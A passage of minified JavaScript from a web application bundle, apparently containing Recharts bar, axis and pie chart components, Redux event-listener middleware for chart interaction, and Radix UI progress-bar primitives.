h?v.createElement(Gr,{zIndex:an.activeBar},v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))):v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))}function Qie(e){var{shape:t,baseProps:n,entry:r,index:i,dataKey:l}=e;return v.createElement(ph,Ma({},n,{name:String(n.name)},r,{isActive:!1,option:t,index:i,dataKey:l}))}function Jie(e){var t,{data:n,props:r}=e,i=(t=Ur(r))!==null&&t!==void 0?t:{},{id:l}=i,c=mh(i,Uie),{shape:u,dataKey:f,activeBar:h}=r,{onMouseEnter:p,onClick:m,onMouseLeave:y}=r,x=mh(r,Hie),S=U1(p,f,l),w=H1(y),O=q1(m,f,l);return n?v.createElement(v.Fragment,null,n.map((A,_)=>v.createElement(zie,Ma({index:_,key:"rectangle-".concat(A?.x,"-").concat(A?.y,"-").concat(A?.value,"-").concat(_),className:"recharts-bar-rectangle"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),h?v.createElement(Zie,{shape:u,activeBar:h,baseProps:c,entry:A,index:_,dataKey:f}):v.createElement(Qie,{shape:u,baseProps:c,entry:A,index:_,dataKey:f})))):null}function eoe(e){var{props:t,previousRectanglesRef:n}=e,{data:r,layout:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,onAnimationEnd:h,onAnimationStart:p}=t,m=n.current,y=gp(t,"recharts-bar-"),[x,S]=v.useState(!1),w=!x,O=v.useCallback(()=>{typeof h=="function"&&h(),S(!1)},[h]),A=v.useCallback(()=>{typeof p=="function"&&p(),S(!0)},[p]);return v.createElement(Xie,{showLabels:w,rects:r},v.createElement(vp,{animationId:y,begin:c,duration:u,isActive:l,easing:f,onAnimationEnd:O,onAnimationStart:A,key:y},_=>{var T=_===1?r:r?.map((j,M)=>{var P=m&&m[M];if(P)return cn(cn({},j),{},{x:Rt(P.x,j.x,_),y:Rt(P.y,j.y,_),width:Rt(P.width,j.width,_),height:Rt(P.height,j.height,_)});if(i==="horizontal"){var R=Rt(0,j.height,_),I=Rt(j.stackedBarStart,j.y,_);return cn(cn({},j),{},{y:I,height:R})}var B=Rt(0,j.width,_),q=Rt(j.stackedBarStart,j.x,_);return cn(cn({},j),{},{width:B,x:q})});return _>0&&(n.current=T??null),T==null?null:v.createElement(fn,null,v.createElement(Jie,{props:t,data:T}))}),v.createElement(QL,{label:t.label}),t.children)}function toe(e){var t=v.useRef(null);return v.createElement(eoe,{previousRectanglesRef:t,props:e})}var bI=0,noe=(e,t)=>{var n=Array.isArray(e.value)?e.value[1]:e.value;return{x:e.x,y:e.y,value:n,errorVal:lt(e,t)}};class roe extends v.PureComponent{render(){var{hide:t,data:n,dataKey:r,className:i,xAxisId:l,yAxisId:c,needClip:u,background:f,id:h}=this.props;if(t||n==null)return null;var p=Ye("recharts-bar",i),m=h;return v.createElement(fn,{className:p,id:h},u&&v.createElement("defs",null,v.createElement(Vae,{clipPathId:m,xAxisId:l,yAxisId:c})),v.createElement(fn,{className:"recharts-bar-rectangles",clipPath:u?"url(#clipPath-".concat(m,")"):void 0},v.createElement(Wie,{data:n,dataKey:r,background:f,allOtherBarProps:this.props}),v.createElement(toe,this.props)))}}var aoe={activeBar:!1,animationBegin:0,animationDuration:400,animationEasing:"ease",background:!1,hide:!1,isAnimationActive:"auto",label:!1,legendType:"rect",minPointSize:bI,xAxisId:0,yAxisId:0,zIndex:an.bar};function ioe(e){var{xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p}=e,{needClip:m}=vI(t,n),y=Jc(),x=Vn(),S=B1(e.children,go),w=we(_=>jie(_,e.id,x,S));if(y!=="vertical"&&y!=="horizontal")return null;var O,A=w?.[0];return A==null||A.height==null||A.width==null?O=0:O=y==="vertical"?A.height/2:A.width/2,v.createElement(Fae,{xAxisId:t,yAxisId:n,data:w,dataPointFormatter:noe,errorBarOffset:O},v.createElement(roe,Ma({},e,{layout:y,needClip:m,data:w,xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p})))}function ooe(e){var{layout:t,barSettings:{dataKey:n,minPointSize:r},pos:i,bandSize:l,xAxis:c,yAxis:u,xAxisTicks:f,yAxisTicks:h,stackedData:p,displayedData:m,offset:y,cells:x,parentViewBox:S,dataStartIndex:w}=e,O=t==="horizontal"?u:c,A=p?O.scale.domain():null,_=DK({numericAxis:O}),T=O.scale(_);return m.map((j,M)=>{var P,R,I,B,q,U;if(p){var V=p[M+w];if(V==null)return null;P=TK(V,A)}else P=lt(j,n),Array.isArray(P)||(P=[_,P]);var oe=pie(r,bI)(P[1],M);if(t==="horizontal"){var le,[ce,L]=[u.scale(P[0]),u.scale(P[1])];R=$_({axis:c,ticks:f,bandSize:l,offset:i.offset,entry:j,index:M}),I=(le=L??ce)!==null&&le!==void 0?le:void 0,B=i.size;var F=ce-L;if(q=Hr(F)?0:F,U={x:R,y:y.top,width:B,height:y.height},Math.abs(oe)>0&&Math.abs(q)0&&Math.abs(B)v.createElement(v.Fragment,null,v.createElement(Yne,{legendPayload:Yie(t)}),v.createElement(Gie,{dataKey:t.dataKey,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:i}),v.createElement(lre,{type:"bar",id:i,data:void 0,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,dataKey:t.dataKey,stackId:n,hide:t.hide,barSize:t.barSize,minPointSize:t.minPointSize,maxBarSize:t.maxBarSize,isPanorama:r}),v.createElement(Gr,{zIndex:t.zIndex},v.createElement(ioe,Ma({},t,{id:i})))))}var xI=v.memo(loe,Y1);xI.displayName="Bar";var soe=["domain","range"],coe=["domain","range"];function K2(e,t){if(e==null)return{};var n,r,i=uoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{n.current===null?t(zre(e)):n.current!==e&&t($re({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(Bre(n.current)),n.current=null)},[t]),null}var moe=e=>{var{xAxisId:t,className:n}=e,r=we(Sx),i=Vn(),l="xAxis",c=we(A=>uL(A,l,t,i)),u=we(A=>oL(A,t)),f=we(A=>zQ(A,t)),h=we(A=>Uk(A,t));if(u==null||f==null||h==null)return null;var{dangerouslySetInnerHTML:p,ticks:m,scale:y}=e,x=G2(e,foe),{id:S,scale:w}=h,O=G2(h,doe);return v.createElement(K1,yb({},x,O,{x:f.x,y:f.y,width:u.width,height:u.height,className:Ye("recharts-".concat(l," ").concat(l),n),viewBox:r,ticks:c,axisType:l}))},voe={allowDataOverflow:Ut.allowDataOverflow,allowDecimals:Ut.allowDecimals,allowDuplicatedCategory:Ut.allowDuplicatedCategory,angle:Ut.angle,axisLine:ao.axisLine,height:Ut.height,hide:!1,includeHidden:Ut.includeHidden,interval:Ut.interval,minTickGap:Ut.minTickGap,mirror:Ut.mirror,orientation:Ut.orientation,padding:Ut.padding,reversed:Ut.reversed,scale:Ut.scale,tick:Ut.tick,tickCount:Ut.tickCount,tickLine:ao.tickLine,tickSize:ao.tickSize,type:Ut.type,xAxisId:0},goe=e=>{var t=pn(e,voe);return v.createElement(v.Fragment,null,v.createElement(poe,{allowDataOverflow:t.allowDataOverflow,allowDecimals:t.allowDecimals,allowDuplicatedCategory:t.allowDuplicatedCategory,angle:t.angle,dataKey:t.dataKey,domain:t.domain,height:t.height,hide:t.hide,id:t.xAxisId,includeHidden:t.includeHidden,interval:t.interval,minTickGap:t.minTickGap,mirror:t.mirror,name:t.name,orientation:t.orientation,padding:t.padding,reversed:t.reversed,scale:t.scale,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit}),v.createElement(moe,t))},SI=v.memo(goe,wI);SI.displayName="XAxis";var yoe=["dangerouslySetInnerHTML","ticks","scale"],boe=["id","scale"];function bb(){return bb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{n.current===null?t(Ure(e)):n.current!==e&&t(Hre({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(qre(n.current)),n.current=null)},[t]),null}var Soe=e=>{var{yAxisId:t,className:n,width:r,label:i}=e,l=v.useRef(null),c=v.useRef(null),u=we(Sx),f=Vn(),h=ft(),p="yAxis",m=we(P=>lL(P,t)),y=we(P=>BQ(P,t)),x=we(P=>uL(P,p,t,f)),S=we(P=>Hk(P,t));if(v.useLayoutEffect(()=>{if(!(r!=="auto"||!m||I1(i)||v.isValidElement(i)||S==null)){var P=l.current;if(P){var R=P.getCalculatedWidth();Math.round(m.width)!==Math.round(R)&&h(Fre({id:t,width:R}))}}},[x,m,h,i,t,r,S]),m==null||y==null||S==null)return null;var{dangerouslySetInnerHTML:w,ticks:O,scale:A}=e,_=W2(e,yoe),{id:T,scale:j}=S,M=W2(S,boe);return v.createElement(K1,bb({},_,M,{ref:l,labelRef:c,x:y.x,y:y.y,tickTextProps:r==="auto"?{width:void 0}:{width:r},width:m.width,height:m.height,className:Ye("recharts-".concat(p," ").concat(p),n),viewBox:u,ticks:x,axisType:p}))},Ooe={allowDataOverflow:Ht.allowDataOverflow,allowDecimals:Ht.allowDecimals,allowDuplicatedCategory:Ht.allowDuplicatedCategory,angle:Ht.angle,axisLine:ao.axisLine,hide:!1,includeHidden:Ht.includeHidden,interval:Ht.interval,minTickGap:Ht.minTickGap,mirror:Ht.mirror,orientation:Ht.orientation,padding:Ht.padding,reversed:Ht.reversed,scale:Ht.scale,tick:Ht.tick,tickCount:Ht.tickCount,tickLine:ao.tickLine,tickSize:ao.tickSize,type:Ht.type,width:Ht.width,yAxisId:0},Eoe=e=>{var t=pn(e,Ooe);return v.createElement(v.Fragment,null,v.createElement(woe,{interval:t.interval,id:t.yAxisId,scale:t.scale,type:t.type,domain:t.domain,allowDataOverflow:t.allowDataOverflow,dataKey:t.dataKey,allowDuplicatedCategory:t.allowDuplicatedCategory,allowDecimals:t.allowDecimals,tickCount:t.tickCount,padding:t.padding,includeHidden:t.includeHidden,reversed:t.reversed,ticks:t.ticks,width:t.width,orientation:t.orientation,mirror:t.mirror,hide:t.hide,unit:t.unit,name:t.name,angle:t.angle,minTickGap:t.minTickGap,tick:t.tick,tickFormatter:t.tickFormatter}),v.createElement(Soe,t))},OI=v.memo(Eoe,wI);OI.displayName="YAxis";var Aoe=(e,t)=>t,G1=G([Aoe,Fe,$k,It,CL,za,tee,kt],see),W1=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},EI=fr("mouseClick"),AI=Zc();AI.startListening({actionCreator:EI,effect:(e,t)=>{var n=e.payload,r=G1(t.getState(),W1(n));r?.activeIndex!=null&&t.dispatch(eJ({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var xb=fr("mouseMove"),CI=Zc(),ld=null;CI.startListening({actionCreator:xb,effect:(e,t)=>{var n=e.payload;ld!==null&&cancelAnimationFrame(ld);var r=W1(n);ld=requestAnimationFrame(()=>{var i=t.getState(),l=C1(i,i.tooltip.settings.shared);if(l==="axis"){var c=G1(i,r);c?.activeIndex!=null?t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate})):t.dispatch(gL())}ld=null})}});function Coe(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var X2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_I=An({name:"rootProps",initialState:X2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:X2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),_oe=_I.reducer,{updateOptions:Toe}=_I.actions,TI=An({name:"polarOptions",initialState:null,reducers:{updatePolarOptions:(e,t)=>t.payload}}),{updatePolarOptions:Noe}=TI.actions,Moe=TI.reducer,NI=fr("keyDown"),MI=fr("focus"),X1=Zc();X1.startListening({actionCreator:NI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,l=e.payload;if(!(l!=="ArrowRight"&&l!=="ArrowLeft"&&l!=="Enter")){var c=_1(i,os(n),cu(n),du(n)),u=c==null?-1:Number(c);if(!(!Number.isFinite(u)||u<0)){var f=za(n);if(l==="Enter"){var h=uh(n,"axis","hover",String(i.index));t.dispatch(fb({active:!i.active,activeIndex:i.index,activeCoordinate:h}));return}var p=FQ(n),m=p==="left-to-right"?1:-1,y=l==="ArrowRight"?1:-1,x=u+y*m;if(!(f==null||x>=f.length||x<0)){var S=uh(n,"axis","hover",String(x));t.dispatch(fb({active:!0,activeIndex:x.toString(),activeCoordinate:S}))}}}}}});X1.startListening({actionCreator:MI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var l="0",c=uh(n,"axis","hover",String(l));t.dispatch(fb({active:!0,activeIndex:l,activeCoordinate:c}))}}}});var ir=fr("externalEvent"),jI=Zc(),n0=new Map;jI.startListening({actionCreator:ir,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,l=n0.get(i);l!==void 0&&cancelAnimationFrame(l);var c=requestAnimationFrame(()=>{try{var u=t.getState(),f={activeCoordinate:BJ(u),activeDataKey:P1(u),activeIndex:vo(u),activeLabel:NL(u),activeTooltipIndex:vo(u),isTooltipActive:UJ(u)};n(f,r)}finally{n0.delete(i)}});n0.set(i,c)}}});var joe=G([as],e=>e.tooltipItemPayloads),Poe=G([joe,fu,(e,t)=>t,(e,t,n)=>n],(e,t,n,r)=>{var i=e.find(u=>u.settings.graphicalItemId===r);if(i!=null){var{positions:l}=i;if(l!=null){var c=t(l,n);return c}}}),PI=fr("touchMove"),RI=Zc();RI.startListening({actionCreator:PI,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=C1(r,r.tooltip.settings.shared);if(i==="axis"){var l=n.touches[0];if(l==null)return;var c=G1(r,W1({clientX:l.clientX,clientY:l.clientY,currentTarget:n.currentTarget}));c?.activeIndex!=null&&t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate}))}else if(i==="item"){var u,f=n.touches[0];if(document.elementFromPoint==null||f==null)return;var h=document.elementFromPoint(f.clientX,f.clientY);if(!h||!h.getAttribute)return;var p=h.getAttribute(cD),m=(u=h.getAttribute(uD))!==null&&u!==void 0?u:void 0,y=is(r).find(w=>w.id===m);if(p==null||y==null||m==null)return;var{dataKey:x}=y,S=Poe(r,p,m);t.dispatch(vL({activeDataKey:x,activeIndex:p,activeCoordinate:S,activeGraphicalItemId:m}))}}}});var Roe=RR({brush:nae,cartesianAxis:Vre,chartData:$ee,errorBars:zae,graphicalItems:ire,layout:SK,legend:PY,options:Dee,polarAxis:yne,polarOptions:Moe,referenceElements:cae,rootProps:_oe,tooltip:tJ,zIndex:See}),Doe=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return YV({reducer:Roe,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AI.middleware,CI.middleware,X1.middleware,jI.middleware,RI.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(GR({type:"raf"}))},devTools:{serialize:{replacer:Coe},name:"recharts-".concat(n)}})};function DI(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Vn(),l=v.useRef(null);if(i)return n;l.current==null&&(l.current=Doe(t,r));var c=hx;return v.createElement(cie,{context:c,store:l.current},n)}function koe(e){var{layout:t,margin:n}=e,r=ft(),i=Vn();return v.useEffect(()=>{i||(r(bK(t)),r(yK(n)))},[r,i,t,n]),null}var kI=v.memo(koe,Y1);function LI(e){var t=ft();return v.useEffect(()=>{t(Toe(e))},[t,e]),null}function Z2(e){var{zIndex:t,isPanorama:n}=e,r=v.useRef(null),i=ft();return v.useLayoutEffect(()=>(r.current&&i(xee({zIndex:t,element:r.current,isPanorama:n})),()=>{i(wee({zIndex:t,isPanorama:n}))}),[i,t,n]),v.createElement("g",{tabIndex:-1,ref:r})}function Q2(e){var{children:t,isPanorama:n}=e,r=we(uee);if(!r||r.length===0)return t;var i=r.filter(c=>c<0),l=r.filter(c=>c>0);return v.createElement(v.Fragment,null,i.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})),t,l.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})))}var Loe=["children"];function Ioe(e,t){if(e==null)return{};var n,r,i=zoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var n=gY(),r=yY(),i=AD();if(!Si(n)||!Si(r))return null;var{children:l,otherAttributes:c,title:u,desc:f}=e,h,p;return c!=null&&(typeof c.tabIndex=="number"?h=c.tabIndex:h=i?0:void 0,typeof c.role=="string"?p=c.role:p=i?"application":void 0),v.createElement(ZP,vh({},c,{title:u,desc:f,role:p,tabIndex:h,width:n,height:r,style:$oe,ref:t}),l)}),Uoe=e=>{var{children:t}=e,n=we(cp);if(!n)return null;var{width:r,height:i,y:l,x:c}=n;return v.createElement(ZP,{width:r,height:i,x:c,y:l},t)},J2=v.forwardRef((e,t)=>{var{children:n}=e,r=Ioe(e,Loe),i=Vn();return i?v.createElement(Uoe,null,v.createElement(Q2,{isPanorama:!0},n)):v.createElement(Boe,vh({ref:t},r),v.createElement(Q2,{isPanorama:!1},n))});function Hoe(){var e=ft(),[t,n]=v.useState(null),r=we(BK);return v.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),l=i.width/t.offsetWidth;ht(l)&&l!==r&&e(wK(l))}},[t,e,r]),n}function eM(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qoe(e){for(var t=1;t(Gee(),null);function gh(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var Goe=v.forwardRef((e,t)=>{var n,r,i=v.useRef(null),[l,c]=v.useState({containerWidth:gh((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:gh((r=e.style)===null||r===void 0?void 0:r.height)}),u=v.useCallback((h,p)=>{c(m=>{var y=Math.round(h),x=Math.round(p);return m.containerWidth===y&&m.containerHeight===x?m:{containerWidth:y,containerHeight:x}})},[]),f=v.useCallback(h=>{if(typeof t=="function"&&t(h),h!=null&&typeof ResizeObserver<"u"){var{width:p,height:m}=h.getBoundingClientRect();u(p,m);var y=S=>{var{width:w,height:O}=S[0].contentRect;u(w,O)},x=new ResizeObserver(y);x.observe(h),i.current=x}},[t,u]);return v.useEffect(()=>()=>{var h=i.current;h?.disconnect()},[u]),v.createElement(v.Fragment,null,v.createElement(fp,{width:l.containerWidth,height:l.containerHeight}),v.createElement("div",bo({ref:f},e)))}),Woe=v.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,l]=v.useState({containerWidth:gh(n),containerHeight:gh(r)}),c=v.useCallback((f,h)=>{l(p=>{var m=Math.round(f),y=Math.round(h);return p.containerWidth===m&&p.containerHeight===y?p:{containerWidth:m,containerHeight:y}})},[]),u=v.useCallback(f=>{if(typeof t=="function"&&t(f),f!=null){var{width:h,height:p}=f.getBoundingClientRect();c(h,p)}},[t,c]);return v.createElement(v.Fragment,null,v.createElement(fp,{width:i.containerWidth,height:i.containerHeight}),v.createElement("div",bo({ref:u},e)))}),Xoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement("div",bo({ref:t},e)))}),Zoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return Ea(n)||Ea(r)?v.createElement(Woe,bo({},e,{ref:t})):v.createElement(Xoe,bo({},e,{ref:t}))});function Qoe(e){return e===!0?Goe:Zoe}var Joe=v.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:l,onContextMenu:c,onDoubleClick:u,onMouseDown:f,onMouseEnter:h,onMouseLeave:p,onMouseMove:m,onMouseUp:y,onTouchEnd:x,onTouchMove:S,onTouchStart:w,style:O,width:A,responsive:_,dispatchTouchEvents:T=!0}=e,j=v.useRef(null),M=ft(),[P,R]=v.useState(null),[I,B]=v.useState(null),q=Hoe(),U=Ox(),V=U?.width>0?U.width:A,oe=U?.height>0?U.height:i,le=v.useCallback(Q=>{q(Q),typeof t=="function"&&t(Q),R(Q),B(Q),Q!=null&&(j.current=Q)},[q,t,R,B]),ce=v.useCallback(Q=>{M(EI(Q)),M(ir({handler:l,reactEvent:Q}))},[M,l]),L=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:h,reactEvent:Q}))},[M,h]),F=v.useCallback(Q=>{M(gL()),M(ir({handler:p,reactEvent:Q}))},[M,p]),$=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:m,reactEvent:Q}))},[M,m]),Z=v.useCallback(()=>{M(MI())},[M]),de=v.useCallback(Q=>{M(NI(Q.key))},[M]),D=v.useCallback(Q=>{M(ir({handler:c,reactEvent:Q}))},[M,c]),X=v.useCallback(Q=>{M(ir({handler:u,reactEvent:Q}))},[M,u]),ae=v.useCallback(Q=>{M(ir({handler:f,reactEvent:Q}))},[M,f]),se=v.useCallback(Q=>{M(ir({handler:y,reactEvent:Q}))},[M,y]),me=v.useCallback(Q=>{M(ir({handler:w,reactEvent:Q}))},[M,w]),xe=v.useCallback(Q=>{T&&M(PI(Q)),M(ir({handler:S,reactEvent:Q}))},[M,T,S]),ee=v.useCallback(Q=>{M(ir({handler:x,reactEvent:Q}))},[M,x]),_e=Qoe(_);return v.createElement(LL.Provider,{value:P},v.createElement(_q.Provider,{value:I},v.createElement(_e,{width:V??O?.width,height:oe??O?.height,className:Ye("recharts-wrapper",r),style:qoe({position:"relative",cursor:"default",width:V,height:oe},O),onClick:ce,onContextMenu:D,onDoubleClick:X,onFocus:Z,onKeyDown:de,onMouseDown:ae,onMouseEnter:L,onMouseLeave:F,onMouseMove:$,onMouseUp:se,onTouchEnd:ee,onTouchMove:xe,onTouchStart:me,ref:le},v.createElement(Yoe,null),n)))}),ele=["width","height","responsive","children","className","style","compact","title","desc"];function tle(e,t){if(e==null)return{};var n,r,i=nle(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:l,className:c,style:u,compact:f,title:h,desc:p}=e,m=tle(e,ele),y=Ur(m);return f?v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement(J2,{otherAttributes:y,title:h,desc:p},l)):v.createElement(Joe,{className:c,style:u,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},v.createElement(J2,{otherAttributes:y,title:h,desc:p,ref:t},v.createElement(fae,null,l)))});function wb(){return wb=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.createElement(ile,{chartName:"BarChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:ole,tooltipPayloadSearcher:IL,categoricalChartProps:e,ref:t}));function sle(e){var t=ft();return v.useEffect(()=>{t(Noe(e))},[t,e]),null}var cle=["layout"];function Sb(){return Sb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=pn(e,yle);return v.createElement(hle,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:gle,tooltipPayloadSearcher:IL,categoricalChartProps:n,ref:t})});function ble(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c);u.displayName=l+"Context";const f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,xle(i,...t)]}function xle(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],BI=wle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),Z1="Progress",Q1=100,[Sle]=ble(Z1),[Ole,Ele]=Sle(Z1),UI=v.forwardRef((e,t)=>{const{__scopeProgress:n,value:r=null,max:i,getValueLabel:l=Ale,...c}=e;(i||i===0)&&!rM(i)&&console.error(Cle(`${i}`,"Progress"));const u=rM(i)?i:Q1;r!==null&&!aM(r,u)&&console.error(_le(`${r}`,"Progress"));const f=aM(r,u)?r:null,h=yh(f)?l(f,u):void 0;return E.jsx(Ole,{scope:n,value:f,max:u,children:E.jsx(BI.div,{"aria-valuemax":u,"aria-valuemin":0,"aria-valuenow":yh(f)?f:void 0,"aria-valuetext":h,role:"progressbar","data-state":FI(f,u),"data-value":f??void 0,"data-max":u,...c,ref:t})})});UI.displayName=Z1;var HI="ProgressIndicator",qI=v.forwardRef((e,t)=>{const{__scopeProgress:n,...r}=e,i=Ele(HI,n);return E.jsx(BI.div,{"data-state":FI(i.value,i.max),"data-value":i.value??void 0,"data-max":i.max,...r,ref:t})});qI.displayName=HI;function Ale(e,t){return`${Math.round(e/t*100)}%`}function FI(e,t){return e==null?"indeterminate":e===t?"complete":"loading"}function yh(e){return typeof e=="number"}function rM(e){return yh(e)&&!isNaN(e)&&e>0}function aM(e,t){return yh(e)&&!isNaN(e)&&e<=t&&e>=0}function Cle(e,t){return`Invalid prop \`max\` of value \`${e}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${Q1}\`.`}function _le(e,t){return`Invalid prop \`value\` of value \`${e}\` supplied to \`${t}\`. The \`value\` prop must be: + `).concat(j.x,",").concat(j.y),P=Vt(e.id)?Ac("recharts-radial-line-"):e.id;return v.createElement("text",va({},r,{dominantBaseline:"central",className:Ye("recharts-radial-bar-label",c)}),v.createElement("defs",null,v.createElement("path",{id:P,d:M})),v.createElement("textPath",{xlinkHref:"#".concat(P)},n))},Kte=(e,t,n)=>{var{cx:r,cy:i,innerRadius:l,outerRadius:c,startAngle:u,endAngle:f}=e,h=(u+f)/2;if(n==="outside"){var{x:p,y:m}=Nt(r,i,c+t,h);return{x:p,y:m,textAnchor:p>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var y=(l+c)/2,{x,y:S}=Nt(r,i,y,h);return{x,y:S,textAnchor:"middle",verticalAnchor:"middle"}},mb=e=>"cx"in e&&Oe(e.cx),Yte=(e,t)=>{var{parentViewBox:n,offset:r,position:i}=e,l;n!=null&&!mb(n)&&(l=n);var{x:c,y:u,upperWidth:f,lowerWidth:h,height:p}=t,m=c,y=c+(f-h)/2,x=(m+y)/2,S=(f+h)/2,w=m+f/2,O=p>=0?1:-1,A=O*r,_=O>0?"end":"start",T=O>0?"start":"end",j=f>=0?1:-1,M=j*r,P=j>0?"end":"start",R=j>0?"start":"end";if(i==="top"){var I={x:m+f/2,y:u-A,textAnchor:"middle",verticalAnchor:_};return Ot(Ot({},I),l?{height:Math.max(u-l.y,0),width:f}:{})}if(i==="bottom"){var B={x:y+h/2,y:u+p+A,textAnchor:"middle",verticalAnchor:T};return 